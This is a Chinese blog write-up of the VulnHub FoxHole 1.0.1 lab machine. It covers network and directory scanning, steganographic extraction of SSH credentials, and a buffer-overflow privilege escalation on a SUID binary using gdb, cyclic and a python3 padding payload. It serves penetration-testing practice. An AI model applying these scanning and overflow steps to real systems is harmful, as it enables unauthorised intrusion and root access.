vulnhub：FOXHOLE: 1.0.1（复现）

最新推荐文章于 2021-12-07 19:35:18 发布
最新推荐文章于 2021-12-07 19:35:18 发布
阅读量602 收藏 1
点赞数
分类专栏： vulnhub靶场 文章标签： 安全漏洞 靶机 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_50688050/article/details/119168262
版权

这个靶机算是简单到中等难度的，然后虽然大了一点，但好在可以直接使用不用修改网络配置

目录

信息搜集

扫描整个网段发现存活主机

 扫描IP地址发现开启端口及服务

 发现漏洞

上百度

查看该网站

扫描网站目录

紫色狐狸

​

使用binwalk文件查看是否有隐藏信息

使用steghide工具查看图片隐藏信息

发现隐藏文件

查看并破解隐藏文件

利用漏洞

利用破解出的账号密码登录ssh

 尝试寻找user.txt文件

 提权

发现高权限命令

尝试直接运行

尽可能查看GiveMeRootPlz中的内容

利用溢出漏洞提权

在kali上安装gdb以及pwndbg插件

 开始调试

 GETSHELL

 找到flag

总结

参考文章

信息搜集

扫描整个网段发现存活主机

nmap -sP 192.168.179.0/24
对整个网段内的主机进行ping扫描

 扫描IP地址发现开启端口及服务

nmap -A  -p- 192.168.179.152
扫描该IP地址的全国端口

 发现漏洞

看看我们发现了什么，虽然该IP地址开启的服务并不多但是都很经典，看到Apache httpd你想到了什么？对没错就是换行解析漏洞以及未知后缀解析漏洞。下面我们就根据版本号判断具体哪个漏洞可以利用

searchsploit  Apache httpd 2.4.41

msfconsole
search Apache httpd 2.4.41
####
使用这两款工具搜索看是否有匹配的利用脚本

我就知道没有这么简单。。。

上百度

 

 后缀解析漏洞并没有指明具体存在的版本所以该网站是可能会存在这个漏洞的，但是我们也不能盲目乐观，因为该漏洞的成因是由于管理员的配置不当造成的，所以是不确定的。仅作为一条思路

查看该网站

来回点了点，感觉好像就是一个单纯的存放照片的网站，并且套用了 该模板

 

查看源代码发现的

 

扫描网站目录

dirsearch -u http://192.168.179.152
####
dirsearch 是一款扫描网站目录的工具 -u 参数跟目标的url即可

还是发现了不少好东西的，这起名一看就贼敏感

还挺调皮

右击查看源代码

Maybe take a nice *deep* look at that one purple fox picture? I dunno.

也许可以好好的看一看那张紫色狐狸的照片？我不知道。

紫色狐狸

这几个目录都是扫出来

后续查看这两张照片，肉眼看起来差不多

 

 但是他俩后面大小都不一样大，大概率有问题

首先将这两张图片下载到kali中

使用binwalk文件查看是否有隐藏信息

binwalk foxy.jpeg
binwalk foxy1.jpeg
###
使用binwalk工具查看这两站图片
Binwalk是用于搜索给定二进制镜像文件以获取嵌入的文件和代码的工具。 具体来说,它被设计用于识别嵌入固件镜像内的文件和代码。 Binwalk使用libmagic库,因此它与Unix文件实用程序创建的魔数签名兼容。 Binwalk还包括一个自定义魔数签名文件,其中包含常见的诸如压缩/存档文件,固件头,Linux内核,引导加载程序,文件系统等的固件映像中常见文件的改进魔数签名。

 没有发现那我们就再换一种工具多去尝试一下

使用steghide工具查看图片隐藏信息

由于该工具不是kali自带的工具所以需要先安装一下

apt-get install steghide
cd /usr/local/zhaopian    #切换到图片所在目录，如果在也可省略这一步
steghide extract -sf foxy1.jpeg
cat msg.txt
base64 -d msg.txt    
########
Steghide是一个可以将文件隐藏到图片或音频中的工具，同样利用相关参数也可将隐藏在图片或音频中的文件找出来

需要进到图片所在文件夹下才能顺利打开

发现隐藏文件

查看并破解隐藏文件

因为后面又两个==所以是典型的base64加密特征

利用漏洞

利用破解出的账号密码登录ssh

用户名：fox
密码：Y0u3scap3dTh3F0xH0le!

 尝试寻找user.txt文件

结果flag文件没找到，但是到一个奇怪的文件。不仅全身标红而且还是root：root权限。这可是在fox用户里啊 ，一定不简单。

 提权

不管那么多了，既然没找到user.txt就先提权吧，

发现高权限命令

find / -perm -u=s -type f 2>/dev/null

 它来了它来了，这下必搞它

尝试直接运行

 这没有密码也行不通啊

但是下面提示给我们思路了  vary long  划重点哦  。

尽可能查看GiveMeRootPlz中的内容

strings GiveMeRootPlz
#####
strings工具可打印文件所有可打印的字符

 

 并找到三个可疑字段，根据我们前面所发现的内容。我们推测这个位置存在溢出漏洞

利用溢出漏洞提权

我们会用到gdb工具中的gdb-peda和pwndbg插件

我们首先在fox服务器上以gdb运行 GiveMeRootPlz文件，发现该服务器上不仅有gdb工具还有gdb-peda插件也省了我们好多事了

在kali上安装gdb以及pwndbg插件

apt-get install gdb     #安装工具
git clone https://github.com/pwndbg/pwndbg    #下载插件
cd pwndbg
./setup.sh              #安装插件
########
gdb是GNU开源组织发布的一个强大的Linux下的程序调试工具。

 一般来说，GDB主要帮助你完成下面四个方面的功能：

1、启动你的程序，可以按照你的自定义的要求随心所欲的运行程序。

2、可让被调试的程序在你所指定的调置的断点处停住。（断点可以是条件表达式）

3、当程序被停住时，可以检查此时你的程序中所发生的事。

4、你可以改变你的程序，将一个BUG产生的影响修正从而测试其他BUG

 出现这个标就是安装成功了

然后我们在kali上运行的适合还需要GiveMeRootPlz文件，所以将GiveMeRootPlz文件复制到本地

scp fox@192.168.179.152:/home/fox/GiveMeRootPlz /tmp
密码就是ssh的密码：Y0u3scap3dTh3F0xH0le!

 开始调试

首先gdb运行该文件

gdb GiveMeRootPlz             
start                   #单步执行，运行程序，停在第一执行语句   
r < <(cyclic 520)       #生产520个字符输入缓存区
cyclic -l 0x66616165    # 查看错误提示根据错误地址  查看溢出大小

 

 

 GETSHELL

这次是在fox用户端使用gdb运行该文件

gdb GiveMeRootPlz
start
call secret      #call func：强制函数调用
quit             #退出该工具
python3 -c 'print("A"*515+"\xad\x62\x55\x56")'    ###使用python3 生成可以将缓冲区填满的字符
./GiveMeRootPlz       #运行文件，在输入密码时将上文中生成的字符串复制到密码的位置从而达到溢出的效果

 

 找到flag

总结

一开始觉得这个靶场不是很难，最后还是结结实实的搞了差不多一天才完整的把它拿下。对我来说主要的点就是后续提权的使用的gdb工具，之前没有接触过还有它gdb-peda和pwndbg这两个插件的区别，以及使用方法。感觉自己学习的过程还有有些问题需要调整。总感觉自己的效率不够高

参考文章

https://www.youtube.com/watch?v=kLukrAzoUCI

https://assume-breach.medium.com/vulnhubs-foxhole-1-walkthrough-893e95d43040

https://blog.csdn.net/qq_42967398/article/details/108896538

最后点个赞再走吧   求求了~

鲨鱼辣椒k
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Foxhole: Block Websites-crx插件
04-03
语言:English foxhole阻止网站，以防止您分心。 这个app块网站！ - 将网站添加到黑名单 - 从黑名单删除站点 - 点击删除所有网站 即将推出的功能： - 打开和关闭块 - 将计时器设置为阻止网站
foxhole-war-map:为游戏 Foxhole 构建的社区项目，使用 Leaflet 开发
08-03
Foxhole War Map，也称为Foxhole Interactive Map，是为游戏开发的社区项目。 战争地图显示有关战争状态的信息。 这个项目是使用开发的。 Foxhole 是一款合作沙盒大型多人动作策略视频游戏，由加拿大视频游戏公司...
VulnHub靶场之FoxHole: 1.0.1
A_dmin的博客
10-09 1189
VulnHub靶场之FoxHole: 1.0.1 扫描IP以及端口： 访问web页面，扫描一下目录： 有个phpmyadmin，去看看，只是一张图片，，我透： 继续看看robots.txt，得到一个secret.html，访问，看不懂： 发现还有个admin.html，查看一下，得到提示： Maybe take a nice *deep* look at that one purple fox picture? I dunno. 查看一下images，一堆图片，，，发现有三张紫狐的图片： 图
vulnhub之 DarkHole: 1
qwweggfe的博客
08-31 125
0x001 信息收集 kali ip : 192.168.181.129 靶机 ip ：192.168.181.141 首先进行ip扫描 对端口进行扫描 开启了22和80端口 发现端口进行探测没有漏洞可以利用，于是我打开网页 于是我进行查看源码 于是发现一个login.php的文件，这可能有提示 于是进行目录扫描 gobuster dir -u http://192.168.181.141/ -w /usr/share/wordlists/dirbuster...
vulnhub靶机-DarkHole: 1
臭nana的博客
08-25 972
靶机描述： Difficulty: Easy It's a box for beginners, but not easy, Good Luck Hint: Don't waste your time For Brute-Force 1、找到靶机ip：192.168.162.132 nmap -sn 192.168.162.0/24 2、扫描靶机端口，发现开放22和80端口 ┌──(root????kali)-[~] └─# nmap -A -p- 192.168.116.132
Vulnhub之DARKHOLE: 1渗透测试
Bird&Bird
12-07 3184
目录1、靶机概述2、信息收集3、越权操作4、文件上传获取shell5、反弹shell至kali6、获取john用户shell7、获取root权限 1、靶机概述 Description Difficulty: Easy It’s a box for beginners, but not easy, Good Luck Hint: Don’t waste your time For Brute-Force 链接: 靶机下载地址. KALI：192.168.110.128 靶机：192.168.110.136 2
MATLAB学习——函数的编写
xf_10000的博客
03-12 1991
函数是MATLAB编程的主流方法。脚本文件适合小规模计算，且希望立马看到结果。一般用于测试某个函数的使用 1.MATLAB函数编程语法格式 function  [argout1, argout2, ...] = fun [argin1, argin2, ...] % 函数功能说明 end 函数进行调用时，如果不给输出参数的话，函数返回第一个参数。 注意： matlab中的retu
foxholewar：用于foxhole war API的Python包装器
02-09
狐狸大战狐KongPython包装器用法from foxholewar import foxholewar# create the clientclient = foxholwar . Client ()# get the list of mapsmaps = client . getMapList ()# print the current war numberwar = ...
foxhole-legacy:经典显示列表的 Flash UI 组件。 查看 Starling UI 组件的 Feathers 项目
06-30
狐狸洞（遗产） 用于经典显示列表和 GPU 渲染模式的 Foxhole UI 组件。 这是在 Stage 3D 可用之前引入的 Foxhole 的原始版本。 该项目被认为已弃用，因为 Starling 的性能现在优于 GPU 渲染模式，并且不再值得同时...
matlab粒子群算法辨识传递函数模型（包括5种模型结构）
03-23
matlab代码，直接应用输入输出数据辨识传递函数模型，且包含多种传递函数模型结构的辨识
粒子群算法求函数最优值matlab
02-19
一、代码有详细的注释 二、计算过程分步进行，条理清晰 三、适合数学建模初学者学习
基于粒子群算法的函数优化问题
12-22
基于粒子群算法利用Matlab平台对函数Rastrigrin函数、Griewank函数、Foxhole函数进行优化。
算法标准测试函数
12-24
Ackley，Alpine，Bohachevsky，Bohachevsky2，Goldstein_price，Griewank，Hyper_ellipsoid，Quadric_Noise，Rastrigrin，基于MATLAB实现，群智能算法实现
binwalk文件分离、提取——命令
热门推荐
N1ce_peter的blog
05-02 2万+
binwalk ** binwalk常用命令 ** binwalk常用命令 -e 分解出压缩包 binwalk -e pcat.bin //要分解的文件名 -D或者–dd 分解某种类型的文件（在windows里要用双引号括起来） binwalk -D=jpeg/*文件类型*/ pcat.bin //要分解的文件名 -M 递归分解扫描出来的文件（得跟-e或者-D配合使用） binwalk...
[AI] 粒子群算法求解优化问题(MATLAB)
掉下个小石头
06-28 9177
华电北风吹 天津大学认知计算与应用重点实验室 日期：2015/6/28 粒子群算法求解函数极值 初始化一个粒子群体随机分布在解空间中。然后每一次迭代，根据每个粒子的历史最优位置和粒子群的最优位置更新每个粒子的位置，直到满足要求为止。clc;clear all; tic; %程序运行计时 E0=0.001;
Binwalk--多重文件查看利器
M_allstar的博客
04-02 5129
做misc题的时候，一般都需要从某个网址下载一个文件，然后开始分析这个文件，最终从文件中得到flag。而查看下载的文件中是否包含其他文件的时候一般都需要binwalk这个神器（kali linux中自带）。 0X01 下载与安装 binwalk的配置环境一般是linux,Pcat大佬有篇文章是关于在windows上配置的，嗯。。。。过程有点复杂，本着省事的精神，我就在虚拟机上装了ubuntu。 ...
vulnhub--lampiao（脏牛提权）
鲨鱼辣椒的博客
08-03 4451
信息搜集 扫描网段确具体IP地址 扫描IP地址确定开放端口以及服务 浏览器查看网站 查看1898端口，发现另一个网站 扫描网站
vlunhub之potato
鲨鱼辣椒的博客
05-31 2580
目录 信息搜集 扫描网段 扫描端口 扫描网站目录 发现漏洞 尝试爆破 登录 提权 查看内核版本找到合适的poc 信息搜集 扫描网段 nmap -sP 192.168.179.0/24 扫描端口 nmap -sS -sV -p- -v 192.168.179.129 扫描网站目录 dirb http://192.168.179.129/ 发现漏洞 挨个进这几个页面去看一看，只知道一个phpinfo界面，找到一个算是敏感信息泄露的漏洞，其他的就没有什么.
import randommaxStep = 3 # 最大尝试次数holes = [0, 0, 0, 0, 0] # 洞口列表，0表示没有狐狸，1表示有狐狸foxHole = random.randint(0, 4) # 随机生成狐狸所在的洞口print("欢迎来到抓狐狸游戏！你有", maxStep, "次机会。")print("现在有五个洞口，其中一个洞口有狐狸。")# 游戏循环for i in range(1, maxStep+1): print("第", i, "天，请选择一个洞口（1-5）：") try: choice = int(input()) if choice < 1 or choice > 5: raise ValueError except ValueError: print("输入有误，请输入1-5之间的整数。") continue if choice-1 == foxHole: print("恭喜你，你抓到了狐狸！") break else: print("很遗憾，这个洞口没有狐狸。") if i == maxStep: print("你已经用完了所有机会，游戏结束。") break else: print("狐狸跑到了隔壁洞口。") # 狐狸跳洞 for j in range(5): if j != foxHole and j != choice-1 and holes[j] == 0: foxHole = j breakprint("游戏结束。")分析
最新发布
06-03
这段代码实现了一个抓狐狸小游戏。首先，定义了最大尝试次数 `maxStep`，以及一个长度为 5 的列表 `holes`，用来表示 5 个洞口是否有狐狸。然后，调用 `random.randint(0, 4)` 随机生成一个狐狸所在的洞口，并打印欢迎语和游戏规则。 接下来进入游戏循环，用 `for` 循环来模拟每一次尝试。在每一次循环中，先让玩家输入一个数字，表示选择的洞口。为了避免输入非法字符，使用了异常处理结构 `try-except` 来捕获 `ValueError` 异常，提示玩家重新输入。如果选择的洞口里有狐狸，游戏胜利，跳出循环。否则，打印失败信息，并检查是否用完了所有机会。如果还有机会，狐狸会跳到隔壁洞口，否则游戏失败。 最后，狐狸跳洞的操作使用了另一个 `for` 循环来遍历所有洞口，找到一个没有狐狸、不是当前洞口、不是狐狸所在洞口的洞口，把狐狸移到那里。游戏结束后，打印结束语。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值